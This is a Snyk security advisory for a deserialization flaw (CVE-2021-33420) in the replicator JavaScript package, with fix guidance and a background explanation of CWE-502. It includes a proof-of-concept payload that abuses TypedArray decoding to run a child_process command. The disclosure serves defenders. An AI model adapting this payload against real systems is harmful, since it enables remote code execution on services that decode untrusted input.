Deserialization of Untrusted Data Affecting replicator package, versions <1.0.4
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-REPLICATOR-3173593
- published 16 Dec 2022
- disclosed 15 Dec 2022
- credit Yaniv Nizry
Introduced: 15 Dec 2022
CVE-2021-33420 Open this link in a new tabHow to fix?
Upgrade replicator to version 1.0.4 or higher.
Overview
replicator is an Advanced JavaScript objects serialization.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data by allowing remote attackers to run arbitrary code via the fromSerializable function in the TypedArray object.
PoC
const Replicator = require('replicator');
const replicator = new Replicator();
replicator.decode('[{"@t":"[[TypedArray]]","data":{"ctorName":"setTimeout","arr":{"@t":"[[TypedArray]]","data":{"ctorName":"Function","arr":" require(\'child_process\').exec(\'calc\')"}}}}]')
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.